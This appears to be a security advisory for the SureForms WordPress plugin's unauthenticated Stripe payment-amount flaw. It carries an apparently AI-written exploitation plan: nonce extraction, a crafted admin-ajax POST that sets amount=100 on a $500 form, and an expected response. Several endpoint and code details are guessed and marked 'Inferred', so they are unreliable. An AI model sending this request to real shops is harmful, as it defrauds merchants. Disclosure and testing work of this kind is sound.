SureForms – Drag and Drop Form Builder for WordPress <= 2.2.1 - Unauthenticated Stripe Payment Amount Manipulation
Description
The SureForms – Drag and Drop Form Builder for WordPress plugin for WordPress is vulnerable to Improper Input Validation in all versions up to, and including, 2.2.1. This is due to the plugin accepting the payment amount directly from user-controlled POST data in the 'create_payment_intent' and 'create_subscription_intent' functions without validating it against the form's configured price. This makes it possible for unauthenticated attackers to modify the payment amount to any arbitrary value when submitting a Stripe payment form, potentially purchasing products or services at significantly reduced prices.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:NTechnical Details
<=2.2.1Source Code
WordPress.org SVNThis research plan outlines the process for exploiting an Improper Input Validation vulnerability in the SureForms plugin (<= 2.2.1). ## 1. Vulnerability Summary The **SureForms** plugin for WordPress allows unauthenticated users to manipulate the payment amount sent to Stripe. The plugin's AJAX ha…
Show full research plan
This research plan outlines the process for exploiting an Improper Input Validation vulnerability in the SureForms plugin (<= 2.2.1).
1. Vulnerability Summary
The SureForms plugin for WordPress allows unauthenticated users to manipulate the payment amount sent to Stripe. The plugin's AJAX handlers create_payment_intent and create_subscription_intent accept a user-provided amount parameter from the POST request. Crucially, the plugin fails to validate this amount against the server-side configuration of the form. An attacker can submit a form and override the intended price with an arbitrary value (e.g., changing $100.00 to $1.00), which is then used to generate a Stripe Payment Intent.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Actions (Inferred):
sureforms_create_payment_intentandsureforms_create_subscription_intent(based on the function names provided in the vulnerability details). - Vulnerable Parameter:
amount(and potentiallycurrencyorsubscription_plan_idin the subscription variant). - Authentication: Unauthenticated (uses
wp_ajax_nopriv_hooks). - Preconditions:
- A form with Stripe payment integration must be active.
- The plugin must be configured with Stripe API keys (Test mode is sufficient for PoC).
3. Code Flow
- Entry Point: The AJAX request hits
admin-ajax.phpwith the actionsureforms_create_payment_intent. - Hook Registration: The plugin likely registers this in its initialization or Stripe service class:
add_action( 'wp_ajax_sureforms_create_payment_intent', [ $this, 'create_payment_intent' ] ); add_action( 'wp_ajax_nopriv_sureforms_create_payment_intent', [ $this, 'create_payment_intent' ] ); - Vulnerable Logic: Inside the
create_payment_intentfunction:- The function retrieves
$amount = $_POST['amount'];. - The function might retrieve
$form_id = $_POST['form_id'];. - The Bug: Instead of using
$form_idto look up the "official" price from the database (e.g.,get_post_meta($form_id, 'sf_form_price', true)), it passes the$amountdirectly to the Stripe API call.
- The function retrieves
- Stripe Sink:
\Stripe\PaymentIntent::create([ 'amount' => $amount, // Manipulated value used here 'currency' => $_POST['currency'], // ... ]);
4. Nonce Acquisition Strategy
The plugin likely uses a nonce to protect AJAX calls, localized for the frontend.
- Identify Shortcode: Locate the shortcode used to render forms. (Inferred:
[sureforms id="123"]). - Setup: Create a new page containing a payment-enabled form.
- Extraction:
- Navigate to the page.
- Search for
wp_localize_scriptoutput in the page source. - The object is likely named
sureforms_params,sureforms_frontend, orsf_params. - Inferred JS Access:
window.sureforms_params?.nonceorwindow.sureforms_frontend?.ajax_nonce.
5. Exploitation Strategy
Step 1: Data Setup
- Enable "Stripe" in SureForms settings.
- Create a form with a "Stripe" field.
- Set the form price to a high value (e.g.,
50000for $500.00). - Publish the form on a new page.
- Record the
form_id.
Step 2: Nonce Extraction
Use the browser_navigate and browser_eval tools to grab the nonce:
browser_navigate("http://localhost:8080/target-page/")browser_eval("window.sureforms_params.nonce")(Verify exact name during the process).
Step 3: Manipulated Payment Intent Request
Send the malicious request to admin-ajax.php. We will attempt to create a Payment Intent for $1.00 (amount=100) for a form that is supposed to cost $500.00.
Request Details:
- Method:
POST - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=sureforms_create_payment_intent&amount=100¤cy=usd&form_id=[FORM_ID]&_ajax_nonce=[NONCE]
Step 4: Verification
The server will return a JSON response containing a Stripe client_secret.
- Analyze the response.
- Verify the amount associated with the
client_secret(if returned in the response metadata) or check the Stripe logs. - In many cases, the response itself will echo back the successful intent creation.
6. Test Data Setup
- Shortcode:
[sureforms id="PAYMENT_FORM_ID"] - Plugin Settings: Ensure Stripe is in "Test Mode".
- Form Field: A "Stripe Payment" field must be present in the form configuration.
7. Expected Results
A successful exploit will return a 200 OK response with a JSON payload:
{
"success": true,
"data": {
"client_secret": "pi_...",
"amount": 100
}
}
If the amount in the response is 100 (signifying $1.00) despite the form being configured for $500.00, the vulnerability is confirmed.
8. Verification Steps (Post-Exploit)
Since we cannot easily check the Stripe Dashboard in an automated test environment without API access, we can:
- Check Logs: If the plugin logs transactions to a custom table or
wp_options, usewp db queryto inspect. - Verify Code Path: Use
grepto confirm thatcreate_payment_intentin the source code reads directly from$_POST['amount']without comparing it toget_post_meta.
9. Alternative Approaches
If sureforms_create_payment_intent is not the exact action name:
- Search the codebase for
add_action( 'wp_ajax_nopriv_. - Search for the string
create_payment_intentto find the handler registration. - If a simple
amountparameter doesn't work, check if the plugin expects the amount inside an array (e.g.,form_data[amount]).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.